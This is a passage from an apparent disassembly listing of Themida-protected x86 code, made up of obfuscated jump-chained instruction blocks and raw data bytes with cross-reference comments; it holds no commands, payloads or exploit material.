		dd 4C040000h, 96E95B66h
		db 0ADh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5525B7:				; CODE XREF: Themida_:005548FEj
		add	ebp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_5551DD
; ---------------------------------------------------------------------------

loc_5525C9:				; CODE XREF: Themida_:00563D82j
		push	ebx
		push	29672C17h
		mov	ebx, [esp]
		add	esp, 4
		sub	edx, ebx
		pop	ebx
		jmp	loc_554903
; ---------------------------------------------------------------------------
		dd 5F7617BBh, 58C38126h, 81F5EDFAh, 0D269D1C5h,	81DD013Dh
		dd 0D269D1EDh, 20E95B3Dh
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5525FF:				; CODE XREF: Themida_:0055D92Fj
		push	351D0BA7h
		jmp	loc_556791
; ---------------------------------------------------------------------------

loc_552609:				; CODE XREF: Themida_:00560C70j
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55FFCE
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 59810D92h, 0F65DE3B9h, 54E9819Eh, 2913EF6Ch,	54C181F1h
		dd 5E13EF6Ch, 159CF29h,	0E9525FFBh, 12A78h, 0C281E289h
		dd 4, 4C281h, 14870000h, 94E95C24h, 59000088h, 0EB81F329h
		dd 3A8582Dh, 0E9C3015Eh, 104F5h
aM0SAiiaIsF	db '¬0ØS³Å€ë¨€Ëié¾”',0  ; DATA XREF: Themida_:0054FFCCo
		dd 83083500h, 5CE9F2F3h, 0E9000126h, 0FFFFDA0Fh, 2BAh
		dd 5AD00100h, 0E9240487h, 55F0h, 81E18951h, 4C1h, 4E98100h
		dd 0E9000000h, 11F93h, 0E9D5295Ah, 0FFFFF676h, 5008C681h
		dd 0EE81445Eh, 29507EFEh, 55E2E9h, 5E0C100h, 0FFDA94E9h
		dd 5AD788FFh, 8C7E9h, 20162C00h, 896858C3h, 89000068h
		dd 0C1B5240Ch, 6BE95366h, 5A00009Bh, 7782E681h,	0F6814F84h
		dd 640E2BF4h, 14E9F289h, 0B80000DDh, 214A6DADh,	7C2F3C35h
		dd 323F3512h, 0DE05182Dh, 2D258251h, 0E43E8700h, 7A9EE9h
		dd 59CB3100h, 2528BA52h, 0DAF70AB4h, 28A2E9h
		db 0
; ---------------------------------------------------------------------------

loc_55272D:				; CODE XREF: Themida_:0055A319j
		pop	esi
		mov	dx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	2747h
		mov	[esp], esi
		mov	esi, 2
		push	esi
		mov	esi, 598020F4h
		jmp	loc_5524B8
; ---------------------------------------------------------------------------
		db 1
aSl		db 'Îé«&',0
		align 2
		dw 2489h
		dd 24048324h, 0C1815904h, 4, 8B37E9h, 0C4815C00h, 4, 2437C92Dh
		dd 242C8144h, 70317B74h, 50240401h, 317B7468h, 0EC835870h
		dd 241C8904h, 0B6EEE9h,	0EF315900h, 5D2434FFh, 104C483h
		dd 243C8BFEh, 5104C483h, 534BE56h, 0C68144E6h, 659330Ah
		dd 0C8CCE81h, 0ADE9077Bh, 5C00005Ch, 5E8AE9h, 79336800h
		dd 0FDE90000h, 5E000044h, 348BF729h, 4C48324h, 2474FF57h
		dd 0CFE95F04h, 55000015h, 200931BDh, 7ABA5233h,	81286232h
		dd 250F12CAh, 19F5E978h, 48F0000h, 24048124h, 4, 8124148Bh
		dd 4C4h, 0D9BE5600h, 8136AE3Bh,	0AE3BDDF6h, 5EF20136h
		dd 5602C283h, 0E904EC83h, 6D09h, 243C895Ch, 855FC2BFh
		dd 0BFE95573h
		db 0B1h, 2 dup(0)
byte_552837	db 0ACh			; DATA XREF: Themida_:0054FEE0o
		dd 0C8E95F04h, 0BF000056h, 0C37661Ch, 22C7CF81h, 0F78133F8h
		dd 3EBE426Ch, 68ACE781h, 0B951269Dh, 3D9B1AA9h,	50CBBE56h
		dd 0FCE96392h
		db 0FAh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_552867:				; CODE XREF: Themida_:0055209Ej
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_553493
; ---------------------------------------------------------------------------
		db 0B8h
		dd 2, 278CE9h
		db 0
; ---------------------------------------------------------------------------

loc_55287D:				; CODE XREF: Themida_:00562F60j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5579BB
; ---------------------------------------------------------------------------
aSA0Fxh@	db 'S³Ì°í0Ø[',8,'ÁfXh@|',0
		align 4
		dd 68241C89h, 1D7Ch, 0B2241489h, 0B3F2809Dh, 148BD788h
		dd 4C48324h, 52A6C780h,	0F70001B6h, 0FFDEC7E9h,	241C89FFh
		dd 1F8BE9h, 0FFE95700h,	88000088h, 0F88850D7h, 0CEE9C188h
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5528DB:				; CODE XREF: Themida_:0055DC2Dj
		add	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		jmp	loc_564A38
; ---------------------------------------------------------------------------
aSqa		db '[éŸA',0
		align 2

loc_5528EE:				; CODE XREF: Themida_:00559922j
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	edx
		jmp	loc_550F0E
; ---------------------------------------------------------------------------
		dd 97E9E104h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552917:				; CODE XREF: Themida_:0056456Dj
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55F75D
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 0FD3A08C3h, 0EFF38145h, 891E2F39h, 0F312E9D9h, 0C588FFFFh
		dd 0F4B8E9h, 66576600h,	0FE243481h, 9592E91Eh, 0E9570000h
		dd 40A6h, 4244481h, 1E516D17h, 4247401h, 4246C81h, 1E516D17h
		dd 2434FF5Eh, 0E089505Eh, 405h,	4BB5300h, 1000000h, 0F5DBE9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55297E:				; CODE XREF: Themida_:00561620j
		mov	edx, [esp]
		jmp	loc_5548DB
; ---------------------------------------------------------------------------
		dw 489h
		dd 4BF5724h, 51000000h,	0F9E9F989h, 81000105h, 2ECh, 0C896600h
		dd 0E348E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5529A6:				; CODE XREF: Themida_:0055B29Fj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 792A291Eh
		jmp	loc_5609E9
; ---------------------------------------------------------------------------
		dw 0CF05h
		dd 1135F48h, 48CF2DD8h,	835B135Fh, 48704C0h, 24248B24h
		dd 626368h, 24148900h, 6BE9E289h, 89000105h, 0BA525AD6h
		dd 131B5DBCh, 5EAC142h,	0BA2E9h
		db 0
; ---------------------------------------------------------------------------

loc_5529ED:				; CODE XREF: Themida_:00557413j
		mov	esi, esp
		jmp	loc_56186C
; ---------------------------------------------------------------------------

loc_5529F4:				; CODE XREF: Themida_:005517A2j
		push	ecx
		push	ebp
		mov	ebp, 4E77258Ch
		sub	ebp, 6B732DBAh
		jmp	loc_5543F7
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 2511E608h, 315BDD89h, 0FB895DEFh, 105A3E9h
		db 0
; ---------------------------------------------------------------------------

loc_552A19:				; CODE XREF: Themida_:0055E993j
		xor	esi, 0D924A5FEh
		jmp	loc_55DFB0
; ---------------------------------------------------------------------------
		dd 0F800BE04h, 12C59E9h, 0C335A00h, 240C3124h, 0E9240C33h
		dd 2206h, 0FF871C88h, 1C8B2434h, 4C48124h, 50000000h, 111B3E9h
		dd 4C38100h, 55000000h,	5D9ABDh, 9EF58154h, 154005Dh, 1C875DEBh
		dd 24248B24h, 183E9h, 2434FF00h, 8B545359h, 0D5E9241Ch
		dd 89000044h, 0C1E9242Ch, 0E9FFFFD6h, 0FFFFD60Bh
dword_552A8C	dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 3D8Fh, 7E3C685Bh
					; DATA XREF: Themida_:00550024o
		dd 0C890000h, 0F1AFE924h, 0C3810000h, 4, 4178BD55h, 0CD814604h
		dd 16F76013h, 7638CD81h, 0ED8140EAh, 76DA2406h,	5371ED81h
		dd 0DBE9E025h
		db 0F3h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_552AD3:				; CODE XREF: Themida_:00562644j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4
		jmp	loc_55DC39
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E9532404h, 0A1A1h, 8011CDBBh, 37C3816Dh, 2D927FEEh
		dd 0DB651E5h, 5AE9D801h, 33000013h, 0E95C2404h,	0FFFFF158h
		dd 0E9243C89h, 115DFh, 81242489h, 42404h, 34FF0000h, 89565E24h
		dd 4C681E6h, 52000000h,	4BAh, 0E9D60100h, 16E3h, 6F53B8B8h
		dd 8813E907h, 0C890000h, 4F236824h, 24890000h, 24048124h
		dd 4, 44BCE9h, 5CE95800h, 81000009h, 861313F2h,	0ACEA8141h
		dd 81000234h, 0F8FB03C2h, 0E9D031CDh, 0AC4Fh
; ---------------------------------------------------------------------------

loc_552B7C:				; CODE XREF: Themida_:005566A7j
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	4CC3h
		mov	[esp], edx
		mov	edx, esp
		sub	esp, 4
		jmp	loc_5655F3
; ---------------------------------------------------------------------------
byte_552B9D	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054FEF8o
		dd 1041DE9h
		db 0
; ---------------------------------------------------------------------------

loc_552BA5:				; CODE XREF: Themida_:005605B1j
		mov	edx, esp
		jmp	loc_561648
; ---------------------------------------------------------------------------
		dd 0A176852h, 0FBE90000h, 66000024h, 0B83EF81h,	0FFFD7CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552BC1:				; CODE XREF: Themida_:005605F3j
		mov	eax, [esp]
		jmp	loc_557CB9
; ---------------------------------------------------------------------------
aZ4Sgk		db '‡4$\éGŠ',0
		align 2
aSe_1		db '[éEÑ',0
		align 4
		dd 4244C01h, 14B0E959h
		db 1, 0
; ---------------------------------------------------------------------------

loc_552BE2:				; CODE XREF: Themida_:0055EFE6j
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55B958
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 0E9240431h, 792Ch
; ---------------------------------------------------------------------------

loc_552C00:				; CODE XREF: Themida_:0055590Fj
		push	edi
		jmp	loc_55F48A
; ---------------------------------------------------------------------------
		dw 0CB01h
aYh?		db 'Yh×?',0
		align 2
		dw 1C89h
		dd 2474FF24h, 0B1E95B04h, 890000BFh, 0DD89242Ch, 14E9EE89h
		dd 830000A8h, 48904ECh,	4B95124h, 0E9000000h, 4B7Fh, 0E9D7F766h
		dd 7315h, 5C243C87h, 66F83166h,	0E9243C8Bh, 0E19Bh, 0E904C483h
		dd 1CBEh, 33243431h, 248B2434h,	4D36624h, 2CE99C24h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552C6B:				; CODE XREF: Themida_:00560F67j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55BDA2
; ---------------------------------------------------------------------------
		dw 0B151h
		dd 64F180EDh, 5344F180h, 5091B450h, 0E78822B4h,	0D90EE9h
		db 0
; ---------------------------------------------------------------------------

loc_552C95:				; CODE XREF: Themida_:0055A703j
		mov	esi, 3E3D161Fh
		shl	esi, 5
		shl	esi, 2
		jmp	loc_56466E
; ---------------------------------------------------------------------------

loc_552CA5:				; CODE XREF: Themida_:0055B7AAj
		mov	edi, [esp]
		jmp	loc_563095
; ---------------------------------------------------------------------------

loc_552CAD:				; CODE XREF: Themida_:005608B0j
		sub	esi, 79E84F10h
		sub	esi, edx
		add	esi, 79E84F10h
		push	3B1h
		jmp	loc_555F27
; ---------------------------------------------------------------------------

loc_552CC5:				; CODE XREF: Themida_:00556923j
		mov	ebx, [esp]
		jmp	loc_5533E3
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 0E904C483h, 0FFFFD3BFh, 4A34BDBBh, 814B4B5Ah, 4A34BFF3h
		dd 5BDD015Ah, 4BB53h, 0DD010000h, 81241C8Bh, 4C4h, 242C8700h
		dd 0BBE9515Ch, 0BB00000Fh, 0E060A7Dh, 0C381D3F7h, 0E060A82h
		dd 335BDE01h, 34312434h, 24343324h, 5BD8285Ch, 0EC815253h
		dd 4, 0E622E9h,	0EDC14D00h, 0F9ED8108h,	0E9790309h, 5964h
		dd 32E9EE89h, 0FF000003h, 51592434h, 0BA525954h, 4, 74E9D101h
		dd 0E900008Ah, 0FFFFD33Bh
; ---------------------------------------------------------------------------

loc_552D5C:				; CODE XREF: Themida_:0055577Ej
		push	edx
		jmp	loc_55CD21
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4C58104h, 68000000h,	45B6h, 0B9240C89h, 4, 54B2ED81h
		dd 0CD0111FBh, 86E5E9h,	14896600h, 9C506624h, 0FFE65FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552D91:				; CODE XREF: Themida_:00557432j
		xor	esi, [esp]
		mov	esp, [esp]
		sub	edx, 303D4DAAh
		add	edx, edi
		add	edx, 303D4DAAh
		mov	[edx], al
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_550097
; ---------------------------------------------------------------------------
		db 55h
		dd 0FA16E268h, 0C5815D51h, 0D8BF4910h, 0E95DEE89h, 0D28Bh
		dd 50E9D828h, 0D00011Eh, 3422303Ch, 4FE7E9h, 0F0285800h
		dd 4F8005Ah, 1C8B663Dh,	2C48324h, 0AD14E951h, 0C8B0000h
		dd 0E3DFE924h, 0FA680000h, 8900001Ah, 0E589242Ch, 0B9C5E9h
		dd 5EF02100h, 1D52E9h
		db 0
; ---------------------------------------------------------------------------

loc_552E15:				; CODE XREF: Themida_:00564EDDj
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_55F551
; ---------------------------------------------------------------------------

loc_552E20:				; CODE XREF: Themida_:00564AABj
		pop	ebx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	6B58h
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5506D0
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 0E0h
		dd 814C9637h, 0BC29E1E5h, 0AFF58177h, 0C11D507Bh, 0ED8105E5h
		dd 54AD6DEh, 0A5E9E829h, 81000078h, 11868FEFh, 5FFA89A8h
		dd 319EC681h, 0D6010B22h, 319EEE81h, 148B0B22h,	4C48324h
		dd 2474FF56h, 0EEB5E904h, 0D301FFFFh, 2E56E9h
		db 0
; ---------------------------------------------------------------------------

loc_552E91:				; CODE XREF: Themida_:00555F7Bj
		jmp	loc_550097
; ---------------------------------------------------------------------------

loc_552E96:				; CODE XREF: Themida_:00560EB4j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_563A36
; ---------------------------------------------------------------------------

loc_552EB4:				; CODE XREF: Themida_:0055352Ej
		pop	edx
		add	ebx, eax
		push	esi
		mov	esi, 798B3E56h
		and	esi, 20D24980h
		shr	esi, 1
		jmp	loc_55C1EA
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 0E9243C87h, 0EEDBh
; ---------------------------------------------------------------------------

loc_552ED8:				; CODE XREF: Themida_:00560790j
		pop	esi
		xchg	edx, [esp]
		jmp	loc_55DE01
; ---------------------------------------------------------------------------
aFsFqsg		db 'fS³ÃfQéG±',0
		align 4
		dd 0C581E589h, 4, 4BA52h, 0D5010000h, 242C875Ah, 4EC835Ch
		dd 54243489h, 0FFF049E9h, 46853FFh, 5B000000h, 1C8BDE01h
		dd 4C48124h, 81000000h,	4C6h, 24348700h, 4E96685Ch, 34890000h
		dd 3B7E924h, 92B60000h,	7AC180h, 7AE980F1h, 24148B66h
		dd 8002C483h, 148B75C1h, 0CC14E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552F52:				; CODE XREF: Themida_:005537D8j
		sub	ebp, 0FFFFDDA8h
		sub	esi, ebp
		jmp	loc_565085
; ---------------------------------------------------------------------------
aXBOO1BXusgc	db 'Áå',7,'ÅÞo^o1ê]ê',1Bh,'É•žé£C',0
		align 2
		dw 874Bh
		dd 0D1D2F7DAh, 16C281E2h, 813E6E54h, 206BFEF2h,	8A75E916h
		dd 0E95D0000h, 0CD2Dh, 0E9E08950h, 0D713h, 0C780CFFEh
		dd 0ADF7806Dh, 0BC63E9h, 4BB00h, 1BE90000h, 0F600005Dh
		dd 54C480DCh, 8004E4C0h, 0EC80CDE4h, 4C8068EDh,	5FE90000h
		dd 8B000097h, 0FAE92424h, 68000022h, 4C464DACh,	81D7F75Fh
		dd 0AFE158F7h, 8BFE89B3h, 0C483243Ch, 0CDC68104h, 0E928A40Ah
		dd 0FFFFE1BBh
; ---------------------------------------------------------------------------

loc_552FF4:				; CODE XREF: Themida_:00551AA6j
		sub	ecx, 221D1D24h
		add	ecx, 78420886h
		push	edi
		mov	edi, 5FF507DCh
		sub	edi, 65D9156Dh
		xor	edi, 0FCF4F01Eh
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	dword ptr [ecx], 0
		jmp	loc_55AA5D
; ---------------------------------------------------------------------------
aWtsg		db 'WTégÌ',0
		db 0
; ---------------------------------------------------------------------------

loc_55302F:				; CODE XREF: Themida_:00555576j
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_556862
; ---------------------------------------------------------------------------
		dd 148BD601h, 4C48124h,	51000000h, 1329E9h, 8BC10100h
		dd 0E3E92404h, 580000CBh, 0D28BED81h, 0E9010724h, 8B2434FFh
		dd 2DE9242Ch, 0B9000115h, 4, 0FFD28DE9h, 5EF089FFh, 0E9C5315Dh
		dd 9621h, 0E966EB80h, 2A02h, 4C381h, 0EB830000h, 241C8704h
		dd 242C895Ch, 4DE9E9h, 24148900h, 8C2AD3BAh, 8BD5291Bh
		dd 0C4832414h, 2C875E04h, 24248B24h, 9CC83B66h,	0FFCFDAE9h
		dd 0F2015FFFh, 1C2EC281h, 0C28130D3h, 63315D7h,	8124348Bh
		dd 4C4h, 0E9C22900h, 335Bh, 2424895Ch, 4EC81h, 0F7E90000h
		dd 810000C7h, 4ECh, 24148900h, 0BF7AE2BAh, 5AD62965h, 20B9CE81h
		dd 14E952A4h, 8B000099h, 0C4812404h, 4,	81665366h, 630E2404h
		dd 243C8B66h, 2C481h, 0C7E90000h, 81000037h, 0CF7A2ECEh
		dd 8B94E92Dh, 0C4830000h, 6FEA6804h, 34890000h,	26824h
		dd 88E90000h, 83FFFFF6h, 20E904C4h
		db 0EFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55314F:				; CODE XREF: Themida_:005542B6j
		mov	ecx, esp
		jmp	loc_561550
; ---------------------------------------------------------------------------
		dw 9704h
aSAuAV		db 'S³»€ã±€ÃV',0
		dw 5BD8h
		dd 6824148Bh, 39B1h, 89242C89h,	4C581E5h, 83000000h, 0F0E904C5h
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55317F:				; CODE XREF: Themida_:0055EEB3j
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_55E24A
; ---------------------------------------------------------------------------
aQs		db 'Qé\Â',0
		dd 0D6E95F00h, 680000A6h, 65E3h, 83241C89h, 36E904ECh
		dd 500000E2h, 0B0462CB8h, 538A0D7Fh, 70E9234Ch
		db 0Ah,	1, 0
; ---------------------------------------------------------------------------

loc_5531C7:				; CODE XREF: Themida_:0055D552j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 6CFB2CE3h
		xor	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	29E6h
		mov	[esp], eax
		push	edx
		push	79576981h
		pop	edx
		push	53Dh
		mov	[esp], eax
		mov	eax, 482C5918h
		add	eax, 64283B89h
		not	eax
		xor	eax, 913418Ch
		xor	eax, 650A47CAh
		jmp	loc_5570A2
; ---------------------------------------------------------------------------
		db 0FFh
		dd 835A2434h, 348904ECh, 68E68924h, 2889h, 0F96FE9h, 24048900h
		dd 31E95854h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_553233:				; CODE XREF: Themida_:00553483j
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_563E1B
; ---------------------------------------------------------------------------
		dw 205h
aWCwqs?v	db 'wÄCWQé?v',0
		align 2
		dw 0ED81h
		dd 0CC94C77Ah, 110E7E9h, 2434FF00h, 0E789575Dh,	914DE9h
		dd 24348B00h, 311FE9h, 24343100h, 5C243433h, 11CFFE9h
		db 0
; ---------------------------------------------------------------------------

loc_553275:				; CODE XREF: Themida_:0055555Cj
		mov	[esp], ecx
		mov	ecx, 477F6A5Bh
		xor	eax, ecx
		pop	ecx
		add	ebx, 2BB1714Eh
		add	ebx, 1C97332Fh
		add	ebx, 536A4C13h
		jmp	loc_564437
; ---------------------------------------------------------------------------
byte_553297	db 8Fh			; DATA XREF: Themida_:0054FF90o
		dd 0CDF9E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55329E:				; CODE XREF: Themida_:0055E5F4j
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_5519DE
; ---------------------------------------------------------------------------
		db 5Dh,	87h, 1Ch
		dd 24248B24h, 173BE9h, 0B60F6600h, 9C5166C8h, 0FFCDD6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5532C1:				; CODE XREF: Themida_:00555D4Bj
		pop	esi
		push	7C29h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 73316E4h
		mov	ebx, 3DFA7F16h
		xor	ebx, ebp
		pop	ebp
		sub	edx, 3769362Fh
		add	edx, ebx
		jmp	loc_55DFF8
; ---------------------------------------------------------------------------
aTSd?		db 'T^éD?',0
		align 4

loc_5532F4:				; CODE XREF: Themida_:0055EAACj
		add	eax, 433B184h
		jmp	loc_5644DC
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048124h, 4, 0A7BE5659h, 810FC06Ch,	0F34089EEh, 4EC816Eh
		dd 89000000h, 0B9240Ch,	81327E65h, 173CADC1h, 0F7E98115h
		dd 0F750E206h, 0B239E9D9h, 6FBB0000h, 2961030Eh, 241C8BD8h
		dd 0FFFAB9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553345:				; CODE XREF: Themida_:00555324j
		mov	eax, [esp]
		add	esp, 4
		sub	eax, esi
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		shl	eax, cl
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0FFFFFFFFh
		jmp	loc_559603
; ---------------------------------------------------------------------------
		db 52h,	68h, 0DAh
		dd 0FF54B86Bh, 148B2434h, 4C48124h, 0E9000000h,	0FFFFD53Eh
; ---------------------------------------------------------------------------

loc_553380:				; CODE XREF: Themida_:0055375Bj
		push	1
		push	dword ptr [esp]
		jmp	loc_553F74
; ---------------------------------------------------------------------------

loc_55338D:				; CODE XREF: Themida_:00560B4Bj
		mov	eax, [esp]
		add	esp, 4
		push	24Bh
		jmp	loc_561FAB
; ---------------------------------------------------------------------------

loc_5533A0:				; CODE XREF: Themida_:0055BB99j
		push	6650h
		mov	[esp], edx
		push	eax
		mov	eax, 627E380Ch
		xor	eax, 4AF2CDCh
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		push	4A36212Dh
		jmp	loc_5540F9
; ---------------------------------------------------------------------------

loc_5533C7:				; CODE XREF: Themida_:00551617j
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		mov	eax, [esp]
		jmp	loc_554F33
; ---------------------------------------------------------------------------

loc_5533D8:				; CODE XREF: Themida_:0055B11Fj
		and	edx, 30AE545Eh
		jmp	loc_55FC15
; ---------------------------------------------------------------------------

loc_5533E3:				; CODE XREF: Themida_:00552CC8j
		add	esp, 4
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		push	esi
		push	esp
		pop	esi
		push	ebx
		mov	ebx, 7E802465h
		xor	ebx, 379359C0h
		jmp	loc_55A262
; ---------------------------------------------------------------------------
		dd 4B9h, 0CFAFE900h, 0E589FFFFh, 4C581h, 0B8500000h, 4
		dd 98E9C529h, 81000059h, 7F4F69E3h, 42CB814Bh, 81129927h
		dd 0F9674FF3h, 5BDD011Ah, 93FE9h
		db 0
aPhil		db 'Phˆl',0             ; DATA XREF: Themida_:0054FEECo
		dw 8900h
		dd 77E92434h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_553447:				; CODE XREF: Themida_:005523C5j
		push	ebx
		jmp	loc_553BF0
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 2414895Ch, 24BAh, 50FA0100h,	51B6E9h
		db 0
; ---------------------------------------------------------------------------

loc_553461:				; CODE XREF: Themida_:00560235j
		pop	ecx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	92Eh
		mov	[esp], edx
		jmp	loc_553233
; ---------------------------------------------------------------------------
		dd 485FBE56h, 1FE93359h
		db 95h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_553493:				; CODE XREF: Themida_:0055286Ej
		push	ebx
		push	60BC4C94h
		pop	ebx
		sub	edi, 541B075Eh
		jmp	loc_55C92F
; ---------------------------------------------------------------------------
		db 66h,	0F7h, 0D2h
		dd 76B96651h, 0E9D1662Dh, 81664966h, 6687F9F1h,	0F7E9CA31h
		db 0FAh, 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5566EA
; ---------------------------------------------------------------------------
		db 0C1h, 0E7h, 5
aWsep		db 'Wé¥P',0
		align 2
		dw 2166h
		dd 2D665AD0h, 81668B48h, 6616FAC3h, 8166C301h, 0E916FAEBh
		dd 0FFFFFC17h, 4C581h, 51520000h, 4B9h,	59CA8900h, 0FFDFB0E9h
		dd 48F5AFFh, 0CD10E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55350E:				; CODE XREF: Themida_:005645F6j
		mov	dl, [esp+4]
		jmp	loc_559F00
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832434h, 0F2295A04h, 0B530E9h
		db 0
; ---------------------------------------------------------------------------

loc_553525:				; CODE XREF: Themida_:0056234Cj
		inc	edx
		add	edx, 0B152230Dh
		add	ebx, edx
		jmp	loc_552EB4
; ---------------------------------------------------------------------------

loc_553533:				; CODE XREF: Themida_:0055B6DEj
		push	3386h
		jmp	loc_55A0D2
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 6Bh
		dd 81598C2Ah, 783080C7h, 81C70114h, 783080EFh, 0BD555014h
		dd 616B7C52h, 0D5DE889h, 0EA127F6h, 44BD5557h, 0E946323Ch
		dd 233Eh
; ---------------------------------------------------------------------------

loc_55356C:				; CODE XREF: Themida_:0055246Bj
		not	dword ptr [esp]
		pop	eax
		jmp	loc_55E133
; ---------------------------------------------------------------------------
		db 0B9h, 0DCh, 25h
		dd 0C8014D9Ah, 0B89DE9h, 3AED8100h, 891D1A20h, 14E95DEBh
		dd 57000006h, 0FC54E9h,	0B8505500h, 3B4B7602h, 7BC8E9h
		dd 0A6B25200h, 8008E2C0h, 0F28023E2h, 80CAFEC2h, 0EDE978EAh
		db 1Ah,	1, 0
byte_5535B7	db 66h			; DATA XREF: Themida_:0054FF5Co
		dd 0E9240C8Bh, 0EA3Fh, 24048F54h, 0FFD2BAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5535C9:				; CODE XREF: Themida_:0055D60Bj
		push	ebp
		push	14CD35B9h
		pop	ebp
		push	ebp
		mov	ebp, 64193B80h
		jmp	loc_55E0CF
; ---------------------------------------------------------------------------
aIIxqFwSnj	db '‰,$‰åQ¹ fw!é¦',0
		dw 8000h
		dd 596604C7h, 0E986EF80h, 0EAC6h, 0EA81DAF7h, 5B70768h
		dd 1E7BC281h, 0C281734Ah, 0B7F6F85Ah, 875AD129h, 248B240Ch
		dd 242C8924h, 0FB001FBDh, 0FE07E969h, 0CF090000h, 2744E9h
		db 0
; ---------------------------------------------------------------------------

loc_553629:				; CODE XREF: Themida_:0055602Dj
		neg	ebx
		push	eax
		mov	eax, 55145CBh
		jmp	loc_55C336
; ---------------------------------------------------------------------------
		dw 0CE2Dh
		dd 312D19BDh, 0DEF758C6h, 0AC6814Eh, 545C721h, 7881278Dh
		dd 48399005h, 2DF0013Fh, 3F483990h, 0FEA2E9h, 22C58100h
		dd 55B05FC0h, 8762E9h, 6014B800h, 4401174Fh, 48B0824h
		dd 4C48124h, 1000000h, 8104244Ch, 1404246Ch, 57174F60h
		dd 10134E9h, 6BF38100h,	0E93EC028h, 0B862h, 0C781D701h
		dd 4FBB7DD2h, 243C875Ah, 8610E9h, 240C8900h, 0C181E189h
		dd 4, 115A7E9h,	4EB8100h, 33000000h, 1C31241Ch,	241C3324h
		dd 2404895Ch, 0FFC9C6E9h
		db 0FFh
